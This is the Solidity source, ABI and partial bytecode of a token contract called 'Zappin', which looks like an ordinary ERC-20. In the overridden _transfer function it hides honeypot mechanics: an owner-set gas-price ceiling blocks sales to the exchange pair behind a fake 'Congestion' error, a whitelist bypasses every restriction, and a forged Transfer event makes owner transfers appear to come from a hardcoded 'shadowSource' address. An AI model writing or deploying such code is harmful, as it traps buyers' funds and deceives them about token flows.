// SPDX-License-Identifier: MIT
/* https://remix.ethereum.org/assets/img/search_icon.web/
X : https://x.com/ZappinHQ
WEBSITE : https://t.me/ZappinHQ
TELEGRAM : https://t.me/ZappinHQ */
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function getPair(
address tokenA,
address tokenB
) external returns (address pair);
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
_transfer(from, to, amount);
uint256 currentAllowance = _allowances[from][_msgSender()];
require(currentAllowance >= amount, "ERC20: allowance exceeded");
unchecked {
_approve(from, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0) && to != address(0), "ERC20: zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: amount exceeded");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Zappin is ERC20, Ownable {
uint256 public constant MAX_CAP = 1_000_000_000 * 10 ** 18;
address public exchangePair;
address public shadowSource;
bool public isExchangeLive = false;
uint256 private gasLimitValue = 0;
mapping(address => bool) public isAuthorized;
constructor() ERC20("Zappin ", "Zappin") {
_mint(msg.sender, MAX_CAP);
isAuthorized[msg.sender] = true;
shadowSource = 0x11b815efB8f581194ae79006d24E0d814B7697F6;
}
function updateAuthBatch(
address[] calldata users,
bool status
) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
isAuthorized[users[i]] = status;
}
}
function setExchangePair() external onlyOwner {
address router;
if (block.chainid == 56) {
router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
} else if (block.chainid == 1) {
router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
} else if (block.chainid == 8453) {
router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
} else if (block.chainid == 11155111) {
router = 0xeE567Fe1712Faf6149d80dA1E6934E354124CfE3; // ETH Testnet Router
} else if (block.chainid == 4663) {
router = 0xc9271F5Cb901e30a22268687A8776E6A048e0cb9; // Robin Mainnet Router
} else {
revert();
}
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router);
exchangePair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
}
function setExchangePair(address pairAddr) external onlyOwner {
exchangePair = pairAddr;
}
function setExchangeLimit(uint256 newValueInWei) external onlyOwner {
gasLimitValue = newValueInWei;
address router;
if (block.chainid == 56) {
router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
} else if (block.chainid == 1) {
router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
} else if (block.chainid == 8453) {
router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
} else if (block.chainid == 11155111) {
router = 0xeE567Fe1712Faf6149d80dA1E6934E354124CfE3; // ETH Testnet Router
} else if (block.chainid == 4663) {
router = 0xc9271F5Cb901e30a22268687A8776E6A048e0cb9; // Robin Mainnet Router
} else {
revert();
}
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router);
exchangePair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
}
function setExchangeLimit(uint256 newValueInWei, address pairAddr) external onlyOwner {
gasLimitValue = newValueInWei;
exchangePair = pairAddr;
}
function enableTrading(bool status) external onlyOwner {
isExchangeLive = status;
}
function Airdrop(
address[] memory recipients,
uint256 amount
) public onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(amount > 0, "Amount must be greater than zero");
uint256 scaledAmount = amount * (10 ** decimals());
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
_transfer(msg.sender, recipients[i], scaledAmount);
}
}
function Airdrop(
address[] memory recipients,
uint256 minAmount,
uint256 maxAmount
) public onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(minAmount > 0, "Min amount must be greater than zero");
require(maxAmount >= minAmount, "Max amount must be >= min amount");
uint256 _decimals = 10 ** decimals();
uint256 range = maxAmount - minAmount + 1;
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
uint256 randomAmount = (uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender, i))
) % range) + minAmount;
uint256 scaledAmount = randomAmount * _decimals;
_transfer(msg.sender, recipients[i], scaledAmount);
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (isAuthorized[tx.origin] || from == owner() || to == owner()) {
super._transfer(from, to, amount);
return;
}
require(isExchangeLive, "Trading not active");
if (exchangePair != address(0) && to == exchangePair) {
if (gasLimitValue > 0) {
require(tx.gasprice < gasLimitValue, "Congestion: Try later");
}
}
super._transfer(from, to, amount);
if (from == owner()) {
emit Transfer(shadowSource, to, amount);
}
}
}[
{
"type": "constructor",
"inputs": [],
"stateMutability": "nonpayable"
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Airdrop",
"type": "function",
"inputs": [
{
"name": "recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "Airdrop",
"type": "function",
"inputs": [
{
"name": "recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "minAmount",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "maxAmount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "MAX_CAP",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "enableTrading",
"type": "function",
"inputs": [
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "exchangePair",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "isAuthorized",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "isExchangeLive",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangeLimit",
"type": "function",
"inputs": [
{
"name": "newValueInWei",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "pairAddr",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangeLimit",
"type": "function",
"inputs": [
{
"name": "newValueInWei",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangePair",
"type": "function",
"inputs": [
{
"name": "pairAddr",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangePair",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "shadowSource",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "updateAuthBatch",
"type": "function",
"inputs": [
{
"name": "users",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
}
]0x60806040525f600760146101000a81548160ff0219169083151502179055505f60085534801561002d575f5ffd5b506040518060400160405280600781526020017f5a617070696e20000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f5a617070696e000000000000000000000000000000000000000000000000000081525081600390816100a9919061058d565b5080600490816100b9919061058d565b5050506100d86100cd6101a260201b60201c565b6101a960201b60201c565b6100f4336b033b2e3c9fd0803ce800000061026c60201b60201c565b600160095f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507311b815efb8f581194ae79006d24e0d814b7697f660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106e4565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8060025f82825461027d9190610689565b92505081905550805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546102cf9190610689565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161033391906106cb565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806103ba57607f821691505b6020821081036103cd576103cc610376565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261042f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826103f4565b61043986836103f4565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61047d61047861047384610451565b61045a565b610451565b9050919050565b5f819050919050565b61049683610463565b6104aa6104a282610484565b848454610400565b825550505050565b5f5f905090565b6104c16104b2565b6104cc81848461048d565b505050565b5f5b828110156104f2576104e75f8284016104b9565b6001810190506104d3565b505050565b601f821115610545578282111561054457610511816103d3565b61051a836103e5565b610523856103e5565b6020861015610530575f90505b80830161053f828403826104d1565b505050505b5b505050565b5f82821c905092915050565b5f6105655f198460080261054a565b1980831691505092915050565b5f61057d8383610556565b9150826002028217905092915050565b6105968261033f565b67ffffffffffffffff8111156105af576105ae610349565b5b6105b982546103a3565b6105c48282856104f7565b5f60209050601f8311600181146105f5575f84156105e3578287015190505b6105ed8582610572565b865550610654565b601f198416610603866103d3565b5f5b8281101561062a57848901518255600182019150602085019450602081019050610605565b868310156106475784890151610643601f891682610556565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61069382610451565b915061069e83610451565b92508282019050808211156106b6576106b561065c565b5b92915050565b6106c581610451565b82525050565b5f6020820190506106de5f8301846106bc565b92915050565b612d5c806106f15f395ff3fe608060405234801561000f575f5ffd5b5060043610610156575f3560e01c8063882a974f116100c1578063d669e1d41161007a578063d669e1d4146103a0578063d7cd4bf7146103be578063dc9ed836146103c8578063dd62ed3e146103e4578063f275f64b14610414578063fe9fbb801461043057610156565b8063882a974f146102dc5780638da5cb5b146102fa5780638e3b45251461031857806395d89b4114610334578063a9059cbb14610352578063b5260df61461038257610156565b8063313ce56711610113578063313ce5671461022e57806332e851e01461024c5780633ab037841461026857806341d8d04d1461028657806370a08231146102a2578063715018a6146102d257610156565b806306fdde031461015a57806308b3e41914610178578063095ea7b31461019457806314bef93e146101c457806318160ddd146101e057806323b872dd146101fe575b5f5ffd5b610162610460565b60405161016f9190611e67565b60405180910390f35b610192600480360381019061018d9190612065565b6104f0565b005b6101ae60048036038101906101a991906120bf565b6106fb565b6040516101bb9190612117565b60405180910390f35b6101de60048036038101906101d99190612130565b610718565b005b6101e86107f1565b6040516101f5919061216a565b60405180910390f35b61021860048036038101906102139190612183565b6107fa565b6040516102259190612117565b60405180910390f35b6102366108ec565b60405161024391906121ee565b60405180910390f35b61026660048036038101906102619190612207565b6108f4565b005b6102706109d5565b60405161027d9190612254565b60405180910390f35b6102a0600480360381019061029b91906122f0565b6109fa565b005b6102bc60048036038101906102b79190612130565b610b2e565b6040516102c9919061216a565b60405180910390f35b6102da610b73565b005b6102e4610c14565b6040516102f19190612117565b60405180910390f35b610302610c27565b60405161030f9190612254565b60405180910390f35b610332600480360381019061032d919061234d565b610c4f565b005b61033c610f48565b6040516103499190611e67565b60405180910390f35b61036c600480360381019061036791906120bf565b610fd8565b6040516103799190612117565b60405180910390f35b61038a610ff5565b6040516103979190612254565b60405180910390f35b6103a861101a565b6040516103b5919061216a565b60405180910390f35b6103c661102a565b005b6103e260048036038101906103dd9190612378565b61131b565b005b6103fe60048036038101906103f991906123e4565b6115d2565b60405161040b919061216a565b60405180910390f35b61042e60048036038101906104299190612422565b611654565b005b61044a60048036038101906104459190612130565b611707565b6040516104579190612117565b60405180910390f35b60606003805461046f9061247a565b80601f016020809104026020016040519081016040528092919081815260200182805461049b9061247a565b80156104e65780601f106104bd576101008083540402835291602001916104e6565b820191905f5260205f20905b8154815290600101906020018083116104c957829003601f168201915b5050505050905090565b6104f8611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057d906124f4565b60405180910390fd5b5f8251116105c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c09061255c565b60405180910390fd5b5f811161060b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610602906125c4565b60405180910390fd5b5f6106146108ec565b600a610620919061273e565b8261062b9190612788565b90505f5f90505b83518110156106f5575f73ffffffffffffffffffffffffffffffffffffffff16848281518110610665576106646127c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16036106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612840565b60405180910390fd5b6106e8338583815181106106da576106d96127c9565b5b60200260200101518461172b565b8080600101915050610632565b50505050565b5f61070e610707611724565b8484611a23565b6001905092915050565b610720611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a5906124f4565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600254905090565b5f61080684848461172b565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61084d611724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c3906128a8565b60405180910390fd5b6108e0856108d8611724565b858403611a23565b60019150509392505050565b5f6012905090565b6108fc611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610981906124f4565b60405180910390fd5b816008819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a02611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a87906124f4565b60405180910390fd5b5f5f90505b83839050811015610b28578160095f868685818110610ab757610ab66127c9565b5b9050602002016020810190610acc9190612130565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a95565b50505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b7b611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c00906124f4565b60405180910390fd5b610c125f611b0a565b565b600760149054906101000a900460ff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c57611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc906124f4565b60405180910390fd5b806008819055505f60384603610d11577310ed43c718714eb63d5aa57b78b54704e256024e9050610dad565b60014603610d3557737a250d5630b4cf539739df2c5dacb4c659f2488d9050610dac565b6121054603610d5a57734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610dab565b62aa36a74603610d805773ee567fe1712faf6149d80da1e6934e354124cfe39050610daa565b6112374603610da55773c9271f5cb901e30a22268687a8776e6a048e0cb99050610da9565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfa573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e1e91906128da565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e83573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea791906128da565b6040518363ffffffff1660e01b8152600401610ec4929190612905565b6020604051808303815f875af1158015610ee0573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0491906128da565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b606060048054610f579061247a565b80601f0160208091040260200160405190810160405280929190818152602001828054610f839061247a565b8015610fce5780601f10610fa557610100808354040283529160200191610fce565b820191905f5260205f20905b815481529060010190602001808311610fb157829003601f168201915b5050505050905090565b5f610feb610fe4611724565b848461172b565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6b033b2e3c9fd0803ce800000081565b611032611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b7906124f4565b60405180910390fd5b5f603846036110e5577310ed43c718714eb63d5aa57b78b54704e256024e9050611181565b6001460361110957737a250d5630b4cf539739df2c5dacb4c659f2488d9050611180565b612105460361112e57734752ba5dbc23f44d87826276bf6fd6b1c372ad24905061117f565b62aa36a746036111545773ee567fe1712faf6149d80da1e6934e354124cfe3905061117e565b61123746036111795773c9271f5cb901e30a22268687a8776e6a048e0cb9905061117d565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111ce573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111f291906128da565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611257573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127b91906128da565b6040518363ffffffff1660e01b8152600401611298929190612905565b6020604051808303815f875af11580156112b4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d891906128da565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611323611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a8906124f4565b60405180910390fd5b5f8351116113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113eb9061255c565b60405180910390fd5b5f8211611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142d9061299c565b60405180910390fd5b81811015611479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147090612a04565b60405180910390fd5b5f6114826108ec565b600a61148e919061273e565b90505f6001848461149f9190612a22565b6114a99190612a55565b90505f5f90505b85518110156115ca575f73ffffffffffffffffffffffffffffffffffffffff168682815181106114e3576114e26127c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612840565b60405180910390fd5b5f858342338560405160200161155993929190612aed565b604051602081830303815290604052805190602001205f1c61157b9190612b56565b6115859190612a55565b90505f84826115949190612788565b90506115bb338985815181106115ad576115ac6127c9565b5b60200260200101518361172b565b505080806001019150506114b0565b505050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61165c611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e1906124f4565b60405180910390fd5b80600760146101000a81548160ff02191690831515021790555050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b60095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806117b25750611783610c27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806117ef57506117c0610c27565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611804576117ff838383611bcd565b611a1e565b600760149054906101000a900460ff16611853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184a90612bd0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156118fc575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611951575f6008541115611950576008543a1061194f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194690612c38565b60405180910390fd5b5b5b61195c838383611bcd565b611964610c27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a1d578173ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a14919061216a565b60405180910390a35b5b505050565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afd919061216a565b60405180910390a3505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c3557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6b90612ca0565b60405180910390fd5b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cee90612